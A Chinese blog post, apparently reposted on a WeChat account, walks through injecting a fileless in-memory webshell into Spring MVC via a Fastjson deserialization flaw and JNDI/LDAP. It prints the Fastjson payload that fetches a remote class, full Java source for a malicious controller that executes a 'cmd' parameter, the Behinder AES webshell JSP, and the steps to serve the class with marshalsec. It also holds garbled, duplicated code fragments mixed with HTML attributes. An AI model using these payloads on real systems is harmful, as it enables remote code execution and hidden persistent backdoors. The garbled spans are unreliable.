利用 Fastjson 注入 Spring 內(nèi)存馬,太秀了~!
點擊關(guān)注公眾號,Java干貨及時送達(dá)
本文僅供參考學(xué)習(xí)使用。
1 基礎(chǔ)
實際上java內(nèi)存馬的注入已經(jīng)有很多方式了,我在學(xué)習(xí)中動手研究并寫了一下針對spring mvc應(yīng)用的內(nèi)存馬。
一般來說實現(xiàn)無文件落地的java內(nèi)存馬注入,通常是利用反序列化漏洞,所以動手寫了一個spring mvc的后端,并直接給了一個fastjson反序列化的頁面,在假定的攻擊中,通過jndi的利用方式讓web端加載惡意類,注入controller。
一切工作都是站在巨人的肩膀上,參考文章均在最后列出。
1.1 fastjson反序列化和JNDI
關(guān)于fastjson漏洞產(chǎn)生的具體原理已有很多分析文章,這里使用的是fastjson1.24版本,poc非常簡單
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}
當(dāng)web端使用fastjson對上面的json進(jìn)行反序列化時,受到@type注解的指示,會通過反射創(chuàng)建com.sun.rowset.JdbcRowSetImpl類的對象,基于fastjson的機制web端還會自動調(diào)用這個對象內(nèi)部的set方法,最后觸發(fā)JdbcRowSetImpl類中的特定set方法,訪問dataSourceName指定的服務(wù)端,并下載執(zhí)行服務(wù)端指定的class文件,細(xì)節(jié)這里不做更詳細(xì)的展開。
1.2 向spring mvc注入controller
首先站在巨人的肩膀上,可以知道spring mvc項目運行后,仍然可以動態(tài)添加controller。普通的controller寫法如下

public?class?InjectToController{
????public?InjectToController(){
????//?1.?利用spring內(nèi)部方法獲取context
????WebApplicationContext?context?=?(WebApplicationContext)?RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",?0);
????//?2.?從context中獲得?RequestMappingHandlerMapping?的實例
????RequestMappingHandlerMapping?mappingHandlerMapping?=?context.getBean(RequestMappingHandlerMapping.class);
????//?3.?通過反射獲得自定義?controller?中的?Method?對象
????Method?method2?=?InjectToController.class.getMethod("test");
????//?4.?定義訪問?controller?的?URL?地址
????PatternsRequestCondition?url?=?new?PatternsRequestCondition("/malicious");
????//?5.?定義允許訪問?controller?的?HTTP?方法(GET/POST)
????RequestMethodsRequestCondition?ms?=?new?RequestMethodsRequestCondition();
????//?6.?在內(nèi)存中動態(tài)注冊?controller
????RequestMappingInfo?info?=?new?RequestMappingInfo(url,?ms,?null,?null,?null,?null,?null);
????InjectToController?injectToController?=?new?InjectToController("aaa");
????mappingHandlerMapping.registerMapping(info,?injectToController,?method2);
????}
????public?void?test()?{
????????xxx
????}
}
步驟1中的context可以理解為web端處理這個請求時,當(dāng)前線程內(nèi)所擁有的各種環(huán)境信息和資源 步驟2中獲取的mappingHandlerMapping對象是用于注冊controller的 步驟3中的反射是為了獲得test這個Method對象,以便動態(tài)注冊controller時,告知接收到給定url路徑的請求后,用那個Method來處理,其中InjectToController類就是我們的惡意類 步驟4定義的url對象是為了指定注入url,這個url就是我們的內(nèi)存馬路徑 步驟5是告知注入的url允許的請求方法 步驟6中RequestMappingInfo填入的信息類似于@RequestMapping注解中的信息,即url、允許的請求方法等。是真正注冊controller的步驟 InjectToController這個類就是我們的惡意類,其中定義了test方法,這個方法內(nèi)存在執(zhí)行命令,當(dāng)然也可以替換成冰蝎、哥斯拉的webshell核心代碼,以便使用這兩個工具。InjectToController的完整代碼在后面的章節(jié)可見
1.3 獲取request和response
常用的jsp一句話webshell代碼如下
java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));
由于jsp文件被執(zhí)行時,會自動獲得了request這個資源,所以一句話木馬不需要考慮如何獲取request這個對象。但在我們注入controller的流程中,惡意java類的編譯是由攻擊者完成的,web端直接執(zhí)行編譯好的class文件,顯然不可能像上面圖片中用注解的方式在讓test方法(InjectToController中的)的參數(shù)自帶request, 所以再一次站在巨人的肩膀上https://www.jianshu.com/p/89b0a7c11ee2 ,通過spring的內(nèi)部方法獲取到request和response對象
HttpServletRequest?request?=?((ServletRequestAttributes)?(RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse?response?=?((ServletRequestAttributes)?(RequestContextHolder.currentRequestAttributes())).getResponse();
如果spring mvc項目部署在tomcat下,也可以用針對tomcat獲取requeset的方法,例如從ThreadLocal、Mbean和Thread.getCurrentThread獲取(后方參考文獻(xiàn)中已給出)最新面試題整理好了,點擊Java面試庫小程序在線刷題。
1.4 阻止重復(fù)添加controller (非必須)
經(jīng)過調(diào)試發(fā)現(xiàn),上面獲取的mappingHandlerMapping中有一個mappingRegistry成員對象,而該對象下的urlLookup屬性保存了已經(jīng)注冊的所有url路徑,對mappingHandlerMapping進(jìn)一步后發(fā)現(xiàn),以上對象和屬性都是私有的,且mappingRegistry并非mappingHandlerMapping中創(chuàng)建的,而是來自于基類AbstractHandlerMethodMapping。

所以對AbstractHandlerMethodMapping的源碼進(jìn)行了一番查看,發(fā)現(xiàn)通過其getMappingRegistry方法可以獲取mappingRegistry,而urlLookup是其內(nèi)部類MappingRegistry的私有屬性,可以通過反射獲取。

反射獲取urlLookup和判斷我們給定的url是否被注冊的代碼塊如下
//?獲取abstractHandlerMethodMapping對象,以便反射調(diào)用其getMappingRegistry方法
AbstractHandlerMethodMapping?abstractHandlerMethodMapping?=?context.getBean(AbstractHandlerMethodMapping.class);
//?反射調(diào)用getMappingRegistry方法
Method?method?=?Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object??mappingRegistry?=?(Object)?method.invoke(abstractHandlerMethodMapping);
//?反射獲取urlLookup屬性
Field?field?=?Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map?urlLookup?=?(Map)?field.get(mappingRegistry);
//?判斷我們想要注入的路徑是否被已經(jīng)存在
Iterator?urlIterator?=?urlLookup.keySet().iterator();
List?urls?=?new?ArrayList();
while?(urlIterator.hasNext()){
????String?urlPath?=?(String)?urlIterator.next();
????if?("/malicious".equals(urlPath)){
????????System.out.println("url已存在");
????????return;
????}
}
2 實驗
2.1 搞個spring mvc的測試環(huán)境
這里用idea做了一個maven+spring mvc+tomcat的測試環(huán)境,方便隨時換spring、fastjson和tomcat的版本。這個Web應(yīng)用的功能有兩個:
/home/postjson,可以輸入json并POST給/home/readjson /home/readjson,使用fastjson解析json,觸發(fā)反序列化的rce

2.2 惡意類源代碼
?urls?=?new?ArrayList();????????while?(urlIterator.hasNext()){????????????String?urlPath?=?(String)?urlIterator.next();????????????if?("/malicious".equals(urlPath)){????????????????System.out.println("url已存在");????????????????return;????????????}????????}????????//?可選步驟,判斷url是否存在????????//?2.?通過反射獲得自定義?controller?中test的?Method?對象????????Method?method2?=?InjectToController.class.getMethod("test");????????//?3.?定義訪問?controller?的?URL?地址????????PatternsRequestCondition?url?=?new?PatternsRequestCondition("/malicious");????????//?4.?定義允許訪問?controller?的?HTTP?方法(GET/POST)????????RequestMethodsRequestCondition?ms?=?new?RequestMethodsRequestCondition();????????//?5.?在內(nèi)存中動態(tài)注冊?controller????????RequestMappingInfo?info?=?new?RequestMappingInfo(url,?ms,?null,?null,?null,?null,?null);????????//?創(chuàng)建用于處理請求的對象,加入“aaa”參數(shù)是為了觸發(fā)第二個構(gòu)造函數(shù)避免無限循環(huán)????????InjectToController?injectToController?=?new?InjectToController("aaa");????????mappingHandlerMapping.registerMapping(info,?injectToController,?method2);????}????//?第二個構(gòu)造函數(shù)????public?InjectToController(String?aaa)?{}?//?controller指定的處理方法????public?void?test()?throws??IOException{????????//?獲取request和response對象????????HttpServletRequest?request?=?((ServletRequestAttributes)?(RequestContextHolder.currentRequestAttributes())).getRequest();????????HttpServletResponse?response?=?((ServletRequestAttributes)?(RequestContextHolder.currentRequestAttributes())).getResponse();????????//?獲取cmd參數(shù)并執(zhí)行命令????????java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));????}}由于fastjson反序列化時,自動下載并執(zhí)行編譯好的class文件,所以要在構(gòu)造函數(shù)中寫入注冊controller的步驟反序列化時自動觸發(fā)的構(gòu)造函數(shù)是第一個構(gòu)造函數(shù),因為沒有帶參數(shù)由于registerMapping方法注冊controller時需要給一個對象和這個對象內(nèi)部的處理方法,而web端只下載了InjectToController這個類,再來一次JNDI去獲" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">import?org.springframework.web.context.WebApplicationContext;
import?org.springframework.web.context.request.RequestContextHolder;
import?org.springframework.web.context.request.ServletRequestAttributes;
import?org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import?org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import?org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import?org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import?org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import?javax.servlet.http.HttpServletRequest;
import?javax.servlet.http.HttpServletResponse;
import?java.io.IOException;
import?java.lang.reflect.Field;
import?java.lang.reflect.InvocationTargetException;
import?java.lang.reflect.Method;
import?java.util.ArrayList;
import?java.util.Iterator;
import?java.util.List;
import?java.util.Map;
public?class?InjectToController?{
????//?第一個構(gòu)造函數(shù)
????public?InjectToController()?throws?ClassNotFoundException,?IllegalAccessException,?NoSuchMethodException,?NoSuchFieldException,?InvocationTargetException?{
????????WebApplicationContext?context?=?(WebApplicationContext)?RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",?0);
????????//?1.?從當(dāng)前上下文環(huán)境中獲得?RequestMappingHandlerMapping?的實例?bean
????????RequestMappingHandlerMapping?mappingHandlerMapping?=?context.getBean(RequestMappingHandlerMapping.class);
????????//?可選步驟,判斷url是否存在
????????AbstractHandlerMethodMapping?abstractHandlerMethodMapping?=?context.getBean(AbstractHandlerMethodMapping.class);
????????Method?method?=?Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
????????method.setAccessible(true);
????????Object??mappingRegistry?=?(Object)?method.invoke(abstractHandlerMethodMapping);
????????Field?field?=?Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
????????field.setAccessible(true);
????????Map?urlLookup?=?(Map)?field.get(mappingRegistry);
????????Iterator?urlIterator?=?urlLookup.keySet().iterator();
????????List?urls?=?new?ArrayList();
????????while?(urlIterator.hasNext()){
????????????String?urlPath?=?(String)?urlIterator.next();
????????????if?("/malicious".equals(urlPath)){
????????????????System.out.println("url已存在");
????????????????return;
????????????}
????????}
????????//?可選步驟,判斷url是否存在
????????//?2.?通過反射獲得自定義?controller?中test的?Method?對象
????????Method?method2?=?InjectToController.class.getMethod("test");
????????//?3.?定義訪問?controller?的?URL?地址
????????PatternsRequestCondition?url?=?new?PatternsRequestCondition("/malicious");
????????//?4.?定義允許訪問?controller?的?HTTP?方法(GET/POST)
????????RequestMethodsRequestCondition?ms?=?new?RequestMethodsRequestCondition();
????????//?5.?在內(nèi)存中動態(tài)注冊?controller
????????RequestMappingInfo?info?=?new?RequestMappingInfo(url,?ms,?null,?null,?null,?null,?null);
????????//?創(chuàng)建用于處理請求的對象,加入“aaa”參數(shù)是為了觸發(fā)第二個構(gòu)造函數(shù)避免無限循環(huán)
????????InjectToController?injectToController?=?new?InjectToController("aaa");
????????mappingHandlerMapping.registerMapping(info,?injectToController,?method2);
????}
????//?第二個構(gòu)造函數(shù)
????public?InjectToController(String?aaa)?{}
?//?controller指定的處理方法
????public?void?test()?throws??IOException{
????????//?獲取request和response對象
????????HttpServletRequest?request?=?((ServletRequestAttributes)?(RequestContextHolder.currentRequestAttributes())).getRequest();
????????HttpServletResponse?response?=?((ServletRequestAttributes)?(RequestContextHolder.currentRequestAttributes())).getResponse();
????????//?獲取cmd參數(shù)并執(zhí)行命令
????????java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
????}
}
?urls?=?new?ArrayList();????????while?(urlIterator.hasNext()){????????????String?urlPath?=?(String)?urlIterator.next();????????????if?("/malicious".equals(urlPath)){????????????????System.out.println("url已存在");????????????????return;????????????}????????}????????//?可選步驟,判斷url是否存在????????//?2.?通過反射獲得自定義?controller?中test的?Method?對象????????Method?method2?=?InjectToController.class.getMethod("test");????????//?3.?定義訪問?controller?的?URL?地址????????PatternsRequestCondition?url?=?new?PatternsRequestCondition("/malicious");????????//?4.?定義允許訪問?controller?的?HTTP?方法(GET/POST)????????RequestMethodsRequestCondition?ms?=?new?RequestMethodsRequestCondition();????????//?5.?在內(nèi)存中動態(tài)注冊?controller????????RequestMappingInfo?info?=?new?RequestMappingInfo(url,?ms,?null,?null,?null,?null,?null);????????//?創(chuàng)建用于處理請求的對象,加入“aaa”參數(shù)是為了觸發(fā)第二個構(gòu)造函數(shù)避免無限循環(huán)????????InjectToController?injectToController?=?new?InjectToController("aaa");????????mappingHandlerMapping.registerMapping(info,?injectToController,?method2);????}????//?第二個構(gòu)造函數(shù)????public?InjectToController(String?aaa)?{}?//?controller指定的處理方法????public?void?test()?throws??IOException{????????//?獲取request和response對象????????HttpServletRequest?request?=?((ServletRequestAttributes)?(RequestContextHolder.currentRequestAttributes())).getRequest();????????HttpServletResponse?response?=?((ServletRequestAttributes)?(RequestContextHolder.currentRequestAttributes())).getResponse();????????//?獲取cmd參數(shù)并執(zhí)行命令????????java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));????}}由于fastjson反序列化時,自動下載并執(zhí)行編譯好的class文件,所以要在構(gòu)造函數(shù)中寫入注冊controller的步驟反序列化時自動觸發(fā)的構(gòu)造函數(shù)是第一個構(gòu)造函數(shù),因為沒有帶參數(shù)由于registerMapping方法注冊controller時需要給一個對象和這個對象內(nèi)部的處理方法,而web端只下載了InjectToController這個類,再來一次JNDI去獲" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="color: rgb(58, 58, 58);" data-linktype="2">由于fastjson反序列化時,自動下載并執(zhí)行編譯好的class文件,所以要在構(gòu)造函數(shù)中寫入注冊controller的步驟 ?urls?=?new?ArrayList();????????while?(urlIterator.hasNext()){????????????String?urlPath?=?(String)?urlIterator.next();????????????if?("/malicious".equals(urlPath)){????????????????System.out.println("url已存在");????????????????return;????????????}????????}????????//?可選步驟,判斷url是否存在????????//?2.?通過反射獲得自定義?controller?中test的?Method?對象????????Method?method2?=?InjectToController.class.getMethod("test");????????//?3.?定義訪問?controller?的?URL?地址????????PatternsRequestCondition?url?=?new?PatternsRequestCondition("/malicious");????????//?4.?定義允許訪問?controller?的?HTTP?方法(GET/POST)????????RequestMethodsRequestCondition?ms?=?new?RequestMethodsRequestCondition();????????//?5.?在內(nèi)存中動態(tài)注冊?controller????????RequestMappingInfo?info?=?new?RequestMappingInfo(url,?ms,?null,?null,?null,?null,?null);????????//?創(chuàng)建用于處理請求的對象,加入“aaa”參數(shù)是為了觸發(fā)第二個構(gòu)造函數(shù)避免無限循環(huán)????????InjectToController?injectToController?=?new?InjectToController("aaa");????????mappingHandlerMapping.registerMapping(info,?injectToController,?method2);????}????//?第二個構(gòu)造函數(shù)????public?InjectToController(String?aaa)?{}?//?controller指定的處理方法????public?void?test()?throws??IOException{????????//?獲取request和response對象????????HttpServletRequest?request?=?((ServletRequestAttributes)?(RequestContextHolder.currentRequestAttributes())).getRequest();????????HttpServletResponse?response?=?((ServletRequestAttributes)?(RequestContextHolder.currentRequestAttributes())).getResponse();????????//?獲取cmd參數(shù)并執(zhí)行命令????????java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));????}}由于fastjson反序列化時,自動下載并執(zhí)行編譯好的class文件,所以要在構(gòu)造函數(shù)中寫入注冊controller的步驟反序列化時自動觸發(fā)的構(gòu)造函數(shù)是第一個構(gòu)造函數(shù),因為沒有帶參數(shù)由于registerMapping方法注冊controller時需要給一個對象和這個對象內(nèi)部的處理方法,而web端只下載了InjectToController這個類,再來一次JNDI去獲" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="color: rgb(58, 58, 58);" data-linktype="2">反序列化時自動觸發(fā)的構(gòu)造函數(shù)是第一個構(gòu)造函數(shù),因為沒有帶參數(shù) ?urls?=?new?ArrayList();????????while?(urlIterator.hasNext()){????????????String?urlPath?=?(String)?urlIterator.next();????????????if?("/malicious".equals(urlPath)){????????????????System.out.println("url已存在");????????????????return;????????????}????????}????????//?可選步驟,判斷url是否存在????????//?2.?通過反射獲得自定義?controller?中test的?Method?對象????????Method?method2?=?InjectToController.class.getMethod("test");????????//?3.?定義訪問?controller?的?URL?地址????????PatternsRequestCondition?url?=?new?PatternsRequestCondition("/malicious");????????//?4.?定義允許訪問?controller?的?HTTP?方法(GET/POST)????????RequestMethodsRequestCondition?ms?=?new?RequestMethodsRequestCondition();????????//?5.?在內(nèi)存中動態(tài)注冊?controller????????RequestMappingInfo?info?=?new?RequestMappingInfo(url,?ms,?null,?null,?null,?null,?null);????????//?創(chuàng)建用于處理請求的對象,加入“aaa”參數(shù)是為了觸發(fā)第二個構(gòu)造函數(shù)避免無限循環(huán)????????InjectToController?injectToController?=?new?InjectToController("aaa");????????mappingHandlerMapping.registerMapping(info,?injectToController,?method2);????}????//?第二個構(gòu)造函數(shù)????public?InjectToController(String?aaa)?{}?//?controller指定的處理方法????public?void?test()?throws??IOException{????????//?獲取request和response對象????????HttpServletRequest?request?=?((ServletRequestAttributes)?(RequestContextHolder.currentRequestAttributes())).getRequest();????????HttpServletResponse?response?=?((ServletRequestAttributes)?(RequestContextHolder.currentRequestAttributes())).getResponse();????????//?獲取cmd參數(shù)并執(zhí)行命令????????java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));????}}由于fastjson反序列化時,自動下載并執(zhí)行編譯好的class文件,所以要在構(gòu)造函數(shù)中寫入注冊controller的步驟反序列化時自動觸發(fā)的構(gòu)造函數(shù)是第一個構(gòu)造函數(shù),因為沒有帶參數(shù)由于registerMapping方法注冊controller時需要給一個對象和這個對象內(nèi)部的處理方法,而web端只下載了InjectToController這個類,再來一次JNDI去獲" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="color: rgb(58, 58, 58);" data-linktype="2">由于registerMapping方法注冊controller時需要給一個對象和這個對象內(nèi)部的處理方法,而web端只下載了InjectToController這個類,再來一次JNDI去獲取一個惡意類屬實麻煩,所以用了 InjectToController injectToController = new InjectToController("aaa");,這樣就會進(jìn)入第二個構(gòu)造函數(shù),而不會進(jìn)入第一個構(gòu)造函數(shù)無限循環(huán)。
2.3 測試
啟動spring mvc項目,訪問/項目/malicious路徑,返回404


使用marshalsec開一個ldap的服務(wù),并指定/Exploit這個reference對應(yīng)的路徑為192.168.x.x:8090/#InjectToController,再用python開一個web文件服務(wù)器

編譯InjectToController.java,將編譯好的class文件放到python開的web文件服務(wù)根目錄下,訪問/項目/home/postjson,并提交payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

payload提交后,會被fastjson進(jìn)行反序列化,在這個過程中會觸發(fā)JdbcRowSetImpl中的connect函數(shù),并根據(jù)給定的dataSourceName發(fā)起LDAP請求,從開啟的給定的LDAP服務(wù)端(1389端口)獲得惡意類的地址,再去下載并執(zhí)行惡意類(8090端口),可以看到payload攻擊成功了

訪問/malicious這個uri確定一下

2.4 注入菜刀webshell
只需要找一匹穩(wěn)定的jsp菜刀馬,稍加改造:
把菜刀馬的函數(shù)定義放在惡意類中 在注入的controller代碼中加入菜刀馬的判斷和執(zhí)行部分(上面的test方法中) 注意jsp菜刀馬最后的out.print(sb.toString());改為response.getWriter().write(sb.toString());response.getWriter().flush();

2.5 注入冰蝎代碼
2.5.1 冰蝎的服務(wù)端--shell.jsp
首先來看看冰蝎的shell.jsp文件,為了方便閱讀,稍作加了一些換行。
最新面試題整理好了,點擊Java面試庫小程序在線刷題。
<%@page?import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class?U?extends?ClassLoader{
?U(ClassLoader?c){super(c);}??//構(gòu)造函數(shù)
?public?Class?g(byte?[]b){
??return?super.defineClass(b,0,b.length);??//?調(diào)用父類的defineClass函數(shù)
?}
}
%>
<%
if?(request.getMethod().equals("POST"))
?{
??String?k="e45e329feb5d925b";
??session.putValue("u",k);
??Cipher?c=Cipher.getInstance("AES");
??c.init(2,new?SecretKeySpec(k.getBytes(),"AES"));
??new?U(ClassLoader.class.getClassLoader()).g(c.doFinal(new?sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
?}
%>
可以看出,該jsp的核心功能有三點
為了方便地使用defineClass,創(chuàng)建了U這個類繼承ClassLoader; 使用java自帶的包,解密AES加密數(shù)據(jù) 使用defineClass加載AES解密后字節(jié)碼,獲得一個惡意類,利用newInstance創(chuàng)建這個類的實例,并調(diào)用equals方法
2.5.2 pageContext
shell.jsp中需要特別注意pageContext這個對象,它是jsp文件運行過程中自帶的對象,可以獲取request/response/session這三個包含頁面信息的重要對象,對應(yīng)pageContext有g(shù)etRequest/getResponse/getSession方法。學(xué)藝不精,暫時沒有找到從spring和tomcat中獲取pageContext的方法。
另外,Spring 系列面試題和答案全部整理好了,微信搜索Java技術(shù)棧,在后臺發(fā)送:面試,可以在線閱讀。
但是從冰蝎的作者給出的提示可以知道,冰蝎3.0 bata7之后不在依賴pageContext,見github issue
又從源碼確認(rèn)了一下,在equal函數(shù)中傳入的object有request/response/session對象即可

所以注入的controller代碼中,可以將pageContext換成一個Map,手動添加key和value即可,前面的惡意類源代碼中已經(jīng)給出了如何獲取request/response/session

2.5.3 繼承ClassLoader和調(diào)用defineClass
在2.5.1中提到需要繼承ClassLoader后調(diào)用父類的defineClass,當(dāng)然也可以用反射,但是這樣更方便而已。對惡意類稍加改造,繼承ClassLoader、定義新的構(gòu)造函數(shù)、增加g函數(shù)、添加冰蝎的服務(wù)端代碼


特別需要注意的是紅框內(nèi)的ClassLoader.getSystemClassLoader(),如果隨意給定某個繼承自ClassLoader的類,可能會出現(xiàn)報錯java.lang.LinkageError : attempted duplicate class definition for name。這是因為需要使用getSystemClassLoader()獲取創(chuàng)建ClassLoader時需要添加委派父級。
2.5.4 上冰蝎

參考文獻(xiàn):
https://www.anquanke.com/post/id/198886#h3-12
https://www.jianshu.com/p/89b0a7c11ee2
https://github.com/mbechler/marshalsec
https://lalajun.github.io/2019/12/30/java反序列化-fastjson/
https://github.com/rebeyond/Behinder/issues/151
https://blog.csdn.net/cumudi0723/article/details/107801362
https://github.com/rebeyond/Behinder
作者:bitterz
地址:https://www.cnblogs.com/bitterz/







關(guān)注Java技術(shù)??锤喔韶?/strong>


